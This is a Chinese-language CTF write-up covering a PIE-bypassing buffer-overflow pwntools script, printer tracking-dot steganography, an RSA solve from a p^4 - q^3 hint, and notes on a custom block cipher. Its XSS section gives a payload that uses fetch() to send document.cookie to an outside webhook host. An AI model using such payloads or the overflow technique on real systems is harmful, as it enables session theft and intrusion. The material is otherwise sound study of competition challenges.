基本上是用基礎的 BOF 來改
從 objdump 來看,是要從 vuln
的 read BOF 漏洞跳到 win
函式
原本以為很簡單,結果發現這題有 PIE,每次執行記憶體位置會變
後來參考這篇文章,嘗試使用 partial write 的方式來 bypass PIE
簡單的說,因為 PIE 會受到 paging 技術的影響,隨機化的範圍只作用在以 page 為單位,單個 page 內的順序並非隨機,而一個 page 通常來說大小是 0x1000,也就是說不管執行多少次,記憶體位置的後 3 碼都是固定的,可對照上面圖片
因此在 BOF 填 return address 時,不需要填寫完整一整條的位置,僅需填寫 2 或 4 碼的位置即可無視 PIE 在單個 page 內移動 RIP
由於此題的 vuln 在 return 時,在正常情況下 $esp 會存 0x???????212
即 <main+68>: mov eax,0x0
的位置,而我們需要跳到 0x???????219
的 win 函式,可以看到位置倒數第 3 位是一樣的,因此我們只需要 partial write 後面 2 位的記憶體位置改成 \x19
即可
腳本:
from pwn import *
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
conn = remote("warmup1.ctf.maplebacon.org", 1337)
#conn = process("./chal")
#conn = gdb.debug("./chal")
payload = b"A" * 16 # payload
payload += b"B" * 8 # EBP
payload += b"\x19" # win() # partial write bypass PIE
conn.send(payload)
conn.interactive()
maple{buwuffer_owoverflow_UwU}
檔案如下:
因為這個看起來像是用掃描器掃出來的文件,而由於列印機在印刷時會加入 Machine Identification Code (tracking dot) 來辨別是哪一台機器做列印,因此推測文件中應該也會有相關資訊
使用工具 Dotspotter,
可以看到確實出現了影像
在第一個區塊中,解碼出來的資訊如下:
13 4 50 23 16 8 22 0 127 109 97 112 108 101 123 116 119 48 95 68 51 69 52 68 51 53 95 48 102 95 115 116 51 103 48 125
得到 flag 了
maple{tw0_D3E4D35_0f_st3g0}
在原始程式碼中可以發現,路徑 /changehonk
可以更改 cookie 中的 honk 數值,而在原路徑 /
中會處理過後印出來
app.get('/', (req, res) => {
if (req.cookies.honk){
//construct object
let finalhonk = {};
if (typeof(req.cookies.honk) === 'object'){
finalhonk = req.cookies.honk
} else {
finalhonk = {
message: clean(req.cookies.honk),
amountoftimeshonked: req.cookies.honkcount.toString()
};
}
res.send(template(finalhonk.message, finalhonk.amountoftimeshonked));
} else {
const initialhonk = 'HONK';
res.cookie('honk', initialhonk, {
httpOnly: true
});
res.cookie('honkcount', 0, {
httpOnly: true
});
res.redirect('/');
}
});
app.get('/changehonk', (req, res) => {
res.cookie('honk', req.query.newhonk, {
httpOnly: true
});
res.cookie('honkcount', 0, {
httpOnly: true
});
res.redirect('/');
});
而可以看到,基本上正常使用下會做過 XSS sanitize,而且函式庫的版本目前是最新版,可以假設沒有漏洞可繞過去
而再看一次 code 發現,如果 cookie 中的 honk
是 object 的話,不會進行 senitize,可以直接繞過防禦
測試 payload: /changehonk?newhonk[message]=</h1><script>alert(1)</script><h1>
成功!
完整 payload
/changehonk?newhonk[message]=</h1><script>fetch(`https://webhook.site/48ea7445-e88d-4667-99e7-b5a2f1b0a0c4/cookie=${document.cookie}`)</script><h1>
以下省略
檔案如下:
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG
msg = bytes_to_long(FLAG)
p = getPrime(512)
q = getPrime(512)
N = p*q
e = 0x10001
enc = pow(msg, e, N)
hint = p**4 - q**3
print(f"{N = }")
print(f"{e = }")
print(f"{enc = }")
print(f"{hint = }")
'''
N = 134049493752540418773065530143076126635445393203564220282068096099004424462500237164471467694656029850418188898633676218589793310992660499303428013844428562884017060683631593831476483842609871002334562252352992475614866865974358629573630911411844296034168928705543095499675521713617474013653359243644060206273
e = 65537
enc = 110102068225857249266317472106969433365215711224747391469423595211113736904624336819727052620230568210114877696850912188601083627767033947343144894754967713943008865252845680364312307500261885582194931443807130970738278351511194280306132200450370953028936210150584164591049215506801271155664701637982648648103
hint = 20172108941900018394284473561352944005622395962339433571299361593905788672168045532232800087202397752219344139121724243795336720758440190310585711170413893436453612554118877290447992615675653923905848685604450760355869000618609981902108252359560311702189784994512308860998406787788757988995958832480986292341328962694760728098818022660328680140765730787944534645101122046301434298592063643437213380371824613660631584008711686240103416385845390125711005079231226631612790119628517438076962856020578250598417110996970171029663545716229258911304933901864735285384197017662727621049720992964441567484821110407612560423282
'''
可以看到給了一些 RSA 的參數,以及一個 hint
可以看到基本上 p, q, N 都足夠大,且 e 也不小,且 p 和 q 明顯沒有相依關係,所以單看 RSA 的參數是似乎無法破解
而 hint 的部分,給了
首先可以先計算
這邊我們使用 sage 來解方程式
x = var('x')
solve(x^7+20172108941900018394284473561352944005622395962339433571299361593905788672168045532232800087202397752219344139121724243795336720758440190310585711170413893436453612554118877290447992615675653923905848685604450760355869000618609981902108252359560311702189784994512308860998406787788757988995958832480986292341328962694760728098818022660328680140765730787944534645101122046301434298592063643437213380371824613660631584008711686240103416385845390125711005079231226631612790119628517438076962856020578250598417110996970171029663545716229258911304933901864735285384197017662727621049720992964441567484821110407612560423282 * x^4 - 322894548442345119662342549354037772052097283336665164113553424636245541371998232691466504469500548649390853732386027402135245879989790940000076913273753507176375148596018455970375883775774229207365029214267707365477222330055249652467979503695747785471531386914852470325710976532066300233823320680223116198808705157549486434444460746300877379521082149789196849213699295036130500623778968929630024644602830393040611450321763517465685913843790709942927383910838294783250355938490709665406471897478338977283855319481365226187460830879992407105294493948733114315159823442592778411254210472520092175962705679219095842853227820367394085124030419033005381652048330040316439426744986037927293518256208227791546060060141976471311970705878722167844718601706373400264329822607390083231437921349425435997158933108979202715538650678048410192050903223550091627695208552465514744316915869093410720751409419879966284173678550144981217462064933938895044262070588591132405169252573130296168506750339438947996084098790026795766107498798398591704732726355525609101819059176215920199926002108854214180187993289658121485716752591192758955164406981299523831151505683290326461954464738232209140076643781245147853924278693104580841699891240937502730946179841 == 0, x)
解出來的 x (也就是 q) 為 11248052945492193606877386307812298309646455365482356576580845624056836046347518805927852646289457003475918197991787867864250859819603651806169306473552239
,這邊可以做一些驗算來確認結果正確
>>> q = 11248052945492193606877386307812298309646455365482356576580845624056836046347518805927852646289457003475918197991787867864250859819603651806169306473552239
>>> cn.isPrime(q)
1
>>> p = N // q
>>> p * q == N
True
>>> cn.isPrime(p)
1
>>> p**4 - q**3 == hint
True
確認 q 運算正確
由於已獲得 p 和 q,因此可獲得 private key 參數,也就能夠進行解密
>>> phi = (p-1) * (q-1)
>>> d = pow(e, -1, phi)
>>> msg = pow(enc, d, N)
>>> cn.long_to_bytes(msg)
b'maple{s0lving_th3m_p3rf3ct_r000ts_1s_fun}'
maple{s0lving_th3m_p3rf3ct_r000ts_1s_fun}
encrypted flag: 518701ad25340bbe7482b47039fcfd0e77cef77e2f19ee59608252cf18ca5f71fab054e6d6efd9251e62bc64f7c02c1b
raw:
01 02 03 04
05 06 07 08
09 10 11 12
13 14 15 16
add_key(0): %255
01+k0 02+k1 03+k2 04+k3
05+k4 06+k5 07+k6 08+k7
09+k8 10+k9 11+kA 12+kB
13+kC 14+kD 15+kE 16+kF
subsititute():
SBOX[01+k0] SBOX[02+k1] SBOX[03+k2] SBOX[04+k3]
SBOX[05+k4] SBOX[06+k5] SBOX[07+k6] SBOX[08+k7]
SBOX[09+k8] SBOX[10+k9] SBOX[11+kA] SBOX[12+kB]
SBOX[13+kC] SBOX[14+kD] SBOX[15+kE] SBOX[16+kF]
rotate():
SBOX[04+k3] SBOX[08+k7] SBOX[12+kB] SBOX[16+kF]
SBOX[03+k2] SBOX[07+k6] SBOX[11+kA] SBOX[15+kE]
SBOX[02+k1] SBOX[06+k5] SBOX[10+k9] SBOX[14+kD]
SBOX[01+k0] SBOX[05+k4] SBOX[09+k8] SBOX[13+kC]
mix(): %255
S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0] S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4] S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8] S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]
S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0] S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4] S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8] S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]
S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0] S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4] S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8] S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]
SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0] SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4] SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8] SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]
add_key(1): %255
S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]+k3 S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]+k7 S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]+kB S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]+kF
S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]+k2 S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]+k6 S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]+kA S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]+kE
S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]+k1 S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]+k5 S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]+k9 S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]+kD
SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]+k0 SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]+k4 SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]+k8 SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]+kC
subsititute():
SBOX[S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]+k3] SBOX[S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]+k7] SBOX[S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]+kB] SBOX[S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]+kF]
SBOX[S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]+k2] SBOX[S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]+k6] SBOX[S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]+kA] SBOX[S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]+kE]
SBOX[S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]+k1] SBOX[S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]+k5] SBOX[S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]+k9] SBOX[S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]+kD]
SBOX[SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]+k0] SBOX[SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]+k4] SBOX[SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]+k8] SBOX[SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]+kC]
rotate():
SBOX[S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]+kF] SBOX[S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]+kE] SBOX[S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]+kD] SBOX[SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]+kC]
SBOX[S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]+kB] SBOX[S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]+kA] SBOX[S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]+k9] SBOX[SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]+k8]
SBOX[S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]+k7] SBOX[S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]+k6] SBOX[S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]+k5] SBOX[SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]+k4]
SBOX[S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]+k3] SBOX[S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]+k2] SBOX[S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]+k1] SBOX[SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]+k0]
add_key(1): %255
SBOX[S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]+kF]+k3 SBOX[S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]+kE]+k7 SBOX[S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]+kD]+kB SBOX[SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]+kC]+kF
SBOX[S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]+kB]+k2 SBOX[S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]+kA]+k6 SBOX[S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]+k9]+kA SBOX[SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]+k8]+kE
SBOX[S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]+k7]+k1 SBOX[S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]+k6]+k5 SBOX[S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]+k5]+k9 SBOX[SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]+k4]+kD
SBOX[S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]+k3]+k0 SBOX[S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]+k2]+k4 SBOX[S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]+k1]+k8 SBOX[SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]+k0]+kC
SBOX[134] == 0
encrypted flag: b71828fcf823a4b6ce6a0fce93f5eb68e8a2075e52de1822fafc7797d020ea6c